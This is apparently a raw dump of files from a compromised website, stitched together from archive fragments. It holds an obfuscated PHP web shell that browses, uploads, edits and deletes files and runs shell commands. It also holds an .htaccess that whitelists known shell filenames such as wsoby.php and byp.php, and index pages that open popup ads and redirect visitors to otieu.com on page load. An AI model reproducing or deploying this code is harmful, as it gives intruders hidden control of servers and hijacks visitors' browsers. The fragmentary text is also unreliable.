"\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 0); goto ilodd; AMrTf: echo m9jKO; goto hXpWe; nycFR: kWGcU: goto VrT_s; txAy7: die($oJwbz); goto ncRkG; bmtvF: echo TA6a_(); goto qQmdQ; CRCRe: goto xNsqm; goto Px60m; yzNGs: HNYAM: goto K_MOx; ncRkG: uskpD: goto PIAej; fWCEd: echo "\x3c\57\154\x61\142\145\x6c\x3e\12\11\11\74\151\156\160\165\x74\x20\x74\x79\x70\x65\x3d\42\150\151\x64\x64\145\x6e\42\x20\156\x61\x6d\x65\75\42\143\147\146\42\40\x76\x61\x6c\x75\145\75\42"; goto G87Ww; efyrq: echo "\124\x68\145\x20\x27\172\x69\160\47\40\143\x6f\x6d\155\x61\x6e\144\40\151\163\x20\156\157\164\40\141\x76\x61\151\154\141\142\x6c\x65\40\157\x6e\40\164\x68\x69\x73\40\163\145\162\x76\145\x72\x2e\xa"; goto txAy7; Ii6qh: $zErae = 0; goto VJrQl; tvfll: echo "\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\160\170\55\x32\x20\x70\x79\55\62\42\x3e\12"; goto nPlIh; KBqBV: echo substr(@php_uname(), 0, 120); goto sogkV; zysIk: echo "\x3c\x2f\156\157\x62\x72\x3e\xa\40\40\x20\x20\40\x20\40\40\x3c\142\x20\x63\154\141\163\x73\75\42\x74\x61\147\40\x69\x73\x2d\167\x61\x72\156\x69\156\147\x20\155\x72\x2d\62\x22\x3e\x53\145\162\x76\x65\x72\x20\x41\144\x6d\151\x6e\x3c\x2f\142\x3e\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x6e\x6f\x62\x72\x3e"; goto Gjxeh; F5940: echo "\74\57\x6e\x6f\x62\162\x3e\xa\40\40\40\40\x20\40\x3c\x2f\144\151\x76\76\12\x20\40\40\x20\40\12\40\x20\x20\40\74\57\x64\x69\166\x3e\xa\40\x20\40\x20\74\144\x69\166\40\143\x6c\x61\x73\x73\75\42\151\163\x2d\146\x6c\145\170\x20\151\x73\55\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\x74\151\157\x6e\x2d\x63\157\x6c\x75\x6d\156\x22\40\163\164\171\154\145\75\x22\x67\141\160\x3a\64\x70\x78\42\x3e\xa\40\x20\x20\40\40\x20\74\146\157\x72\155\x20\141\143\x74\x69\157\x6e\x3d\42\x22\x20\143\x6c\141\x73\163\x3d\x22\151\x73\55\146\x6c\x65\170\40\151\163\x2d\x61\154\x69\x67\156\55\x69\164\x65\x6d\x73\55\x65\x6e\144\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\117\x53\124\42\x3e\xa\x20\40\40\x20\40\x20\x20\x20\74\144\x69\166\x3e\12\x20\x20\40\40\x20\x20\40\x20\40\40\x3c\41\x2d\55\x20\x3c\154\x61\x62\x65\x6c\x3e\x4e\x65\x77\40\x46\x6f\x6c\x64\145\162\74\57\154\x61\x62\x65\154\x3e\40\x2d\x2d\76\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x69\156\160\165\164\x20\x74\x79\x70\x65\75\x22\x74\145\170\164\x22\40\143\154\x61\x73\x73\75\x22\151\x6e\x70\x75\x74\x20\x69\163\x2d\x73\x6d\x61\154\x6c\42\40\160\x6c\x61\143\145\150\157\154\144\x65\162\75\x22\116\145\167\40\106\157\x6c\144\145\x72\42\40\x6e\141\x6d\145\75\42\x6d\x61\153\145\x64\151\x72\x22\57\x3e\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\144\151\x76\x3e\12\40\x20\x20\x20\40\x20\x20\x20\74\x62\x75\x74\164\x6f\156\40\143\x6c\x61\163\163\75\42\155\154\55\61\x20\142\165\164\x74\x6f\156\x20\151\x73\55\160\162\151\x6d\141\x72\171\40\151\163\55\163\155\x61\154\154\x22\40\164\x79\160\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x6e\x61\155\x65\x3d\x22\163\x75\x62\155\x69\164\42\x3e\76\x3c\57\142\x75\164\164\157\156\76\xa\x20\x20\x20\40\40\40\x20\40"; goto uB_8o; gWY2k: fwrite($huZFR, ''); goto MIuoc; PIAej: $K1rI2 = shell_exec("\167\x68\x69\x63\x68\40\165\x6e\172\x69\160"); goto A6yqx; krM1G: $keVpk = UgwhK($_GET["\160"]); goto yTsJL; R4zTw: ezK61: goto jMwg9; n4dOh: c5KEW: goto Me6j_; ez7b5: if ($uKjJE == "\162\145\156\x61\155\x65") { goto HdZ03; } goto Uoc5T; rwbJh: echo UgWHK($_GET["\160"]) . "\57" . uGWHk($_GET["\x64"]); goto hp8IJ; wgLuw: echo $_SERVER["\123\x45\122\x56\105\122\x5f\123\117\x46\x54\127\x41\122\x45"]; goto INqQY; JrTm1: echo "\x3c\57\156\x6f\142\162\76\74\x2f\154\x69\76\xa\x20\40\40\x20\74\154\151\76\x53\145\162\x76\x65\162\x20\x49\120\40\x3a\x20\74\156\157\142\162\76"; goto POOFd; X7iEx: echo "\x3c\x2f\x6e\x6f\x62\x72\76\12\40\40\x20\x20\40\40\x20\x20\x3c\x62\x20\x63\154\x61\x73\163\75\42\164\141\147\x20\151\x73\55\x69\156\x66\157\40\x6d\162\x2d\62\42\76\131\157\165\x72\40\111\x50\74\57\x62\x3e\12\40\x20\40\x20\x20\x20\40\x20\x3c\x6e\157\142\x72\76"; goto BrWxp; Ae3K7: s1Yh0: goto HJu9V; io1hp: echo "\106\x61\x69\154\x65\144\x20\x74\157\x20\143\162\x65\x61\x74\145\40\x7a\x69\x70\40\146\x69\x6c\145\40\165\x73\151\x6e\x67\x20\143\157\155\155\x61\156\x64\40\x6c\x69\156\x65\72\40{$bP9ht}\xa"; goto LYRJc; zG1WA: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugwHk($_GET["\x6e"]))); goto Oc3yC; sXwNB: BB29s: goto ab_vv; s5eAc: $mWJjd[$zErae] = UGWHK($mWJjd[$zErae]); goto yzNGs; Zn19y: if (!isset($_REQUEST["\151\x6e\x66\x6f"])) { goto W3If1; } goto wltfg; Px60m: hlaFx: goto TkbBu; FcEuN: $FZEHa = true; goto mdSkB; P_RV9: pBHDV: goto zYm0b; auHmR: echo "\40\40\74\144\x69\166\x20\x63\154\x61\x73\163\75\x22\143\157\x6e\164\141\151\x6e\145\162\40\x69\163\x2d\x6d\141\x78\55\164\x61\x62\x6c\x65\164\42\x3e\xa\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\141\143\164\x69\x6f\x6e\75\x22\x22\40\x63\x6c\141\163\163\75\42\x62\157\170\42\40\155\145\x74\150\157\x64\x3d\x22\x50\x4f\x53\124\42\40\143\154\x61\x73\163\75\42\x6d\x79\x2d\x32\42\40\x73\x74\171\x6c\145\x3d\x22\142\x6f\162\x64\x65\162\72\61\x70\x78\40\x73\x6f\154\151\x64\x20\x68\x73\x6c\x28\61\67\61\54\x20\x31\60\x30\x25\54\x20\64\x31\45\51\73\x22\76\12\x20\40\40\40\x20\40\74\154\141\x62\145\154\40\x63\x6c\x61\163\x73\75\x27\x6c\x61\x62\145\154\47\76\74\x73\160\141\x6e\x20\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\164\x65\170\x74\x2d\160\x72\151\155\141\162\171\42\76\103\150\141\156\x67\145\x20\120\x65\162\x6d\151\x73\163\151\x6f\156\x20\106\157\162\40\104\151\x72\145\143\164\x6f\162\x79\x3a\x3c\57\163\x70\141\x6e\x3e\40"; goto Bsshy; aXR3g: TJ4s1: goto Gq4B7; Rn_2N: goto uskpD; goto CzNJw; NL4ms: if ($mWJjd[11]($_FILES["\x66"]["\x74\x6d\160\x5f\x6e\x61\x6d\x65"][$zErae], $G21FS[$zErae])) { goto c5KEW; } goto PC10j; cItqs: echo "\74\x2f\x68\64\76\12\x20\x20\x20\40\40\40\40\x20\x3c\x64\151\x76\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x65\154\144\x22\x3e\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\74\154\x61\142\x65\154\40\x66\157\162\x3d\42\156\42\x20\x63\154\141\163\163\x3d\x22\x6c\x61\x62\145\x6c\42\x3e\x4e\x61\x6d\x65\x3c\57\x6c\x61\x62\x65\154\x3e\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\151\x6e\160\165\164\40\x74\x79\160\x65\x3d\42\x74\145\170\164\x22\x20\x6e\x61\x6d\145\x3d\42\x6e\42\x20\x69\144\x3d\x22\156\x22\40\x63\154\x61\x73\x73\x3d\42\x69\x6e\160\165\164\42\40\166\x61\154\165\x65\x3d\x22"; goto K8G1p; R3m4X: $FK4d6 = $keVpk . "\57" . UGWhk($_GET["\156"]); goto JniYy; Oc3yC: echo "\x20\40\x3c\57\x74\145\x78\x74\141\x72\145\141\x3e\xa\74\57\x64\151\166\x3e"; goto nEtKu; lmJ1h: goto dNIIH; goto Lh2oi; c2FpU: $eEP7u = $mWJjd[4]("\57\50\x5c\134\174\134\x2f\51\57", $keVpk); goto hruo2; F63xR: oOGUu: goto D2wrg; Gnh_S: if (!isset($_GET["\141"])) { goto uUjpR; } goto vbN4c; uThiJ: goto E3PXK; goto Ka8IZ; Vry41: goto xNsqm; goto lqGWm; ftJXw: W3If1: goto CXBuX; KANoq: echo tA6a_(); goto tHsvF; U9Ak6: echo substr(@phpversion(), 0, 20); goto aVil9; FMjRe: print $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\137\x52\x4f\x4f\x54"]; goto oQYI2; nJ13P: if (!($_GET["\x74"] == "\x66")) { goto NbHdV; } goto R3m4X; ID3JS: echo "\x3c\57\x6e\157\142\x72\x3e\12\x20\40\x20\x20\40\40\x3c\57\144\151\x76\76\12\x20\40\x20\40\x20\x20\74\144\x69\166\40\x6f\156\143\154\151\x63\153\75\x22\x6e\141\x76\x69\147\x61\x74\x6f\162\x2e\x63\154\151\160\142\x6f\141\x72\144\x2e\x77\x72\151\164\x65\x54\145\x78\x74\x28\x27"; goto fptV5; BFh3Z: }12345/.htaccess000077700000002755151514460360007045 0ustar00<FilesMatch '.(php|Php|PHp|PHP|pHp|PhP|php5|php6|php7|php.PHP|php.Php|php.PHp|php.PHP|php.pHP|PHP.PHP|php.PHP5|php.PHP6|php4|php3|php.PHP7|php.Php|php.PHp|php.PhP|php.phP|php.phtml|php.PHTML|phtm|PHTM|Phtm|PHtm|PHTm|PhTm|PhTM||PHP.php|PHP.pHP|php56|phar|Phar|pHar|phAr|phaR|pht|Pht|pHt|phT|PHt|PHT|shtml|Shtml|SHtml|SHTml|SHTMl|SHTML|SHtmL|ShtmL|ShTmL|ShtML|ShtMl|shTMl|shTML|phtml|Phtml|pHtml|phTml|phtMl|phtmL|PHtml|PHTml|PHTMl|PHTML|Phtml|PhTml|pHtmL|PHtML|PHTml)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch "\.(jpg|png|pdf|xml|txt|js|css)$"> Order allow,deny Allow from all </FilesMatch> <FilesMatch '^(index.php|index.html|sitemap.xml|robots.txt|an7.php|robot.txt|rcc7.php|test1.php|bu7.php|prosellers7.php|pu.php|bu7.PhP7|rcc.PhP7|btest1.PhP7|prosellers6.PhP7|pu.PhP7|xl7.php|xl.PhP7|fs6.php|prosellers6.php|byp.php|lfu.php|pu7.php|helper.php|tools.php|wsoby.php|about.php|byp7.php|unzipper.php|fs7.php|f7.php|about.php|fm.php|radio.php)$'> Order allow,deny Allow from all </FilesMatch> <FilesMatch "^\."> Order allow,deny Deny from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> 12345/index.html000064400000003001151514460360007216 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 01/index.php000064400000003001151514460360006603 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 01/index.html000064400000003001151514460360006760 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/10314818", "_blank"); window.open("https://otieu.com/4/10314819"); window.open("https://otieu.com/4/10314817"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/10314818"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> 01/.htaccess000077700000002755151514460360006607 0ustar00<FilesMatch 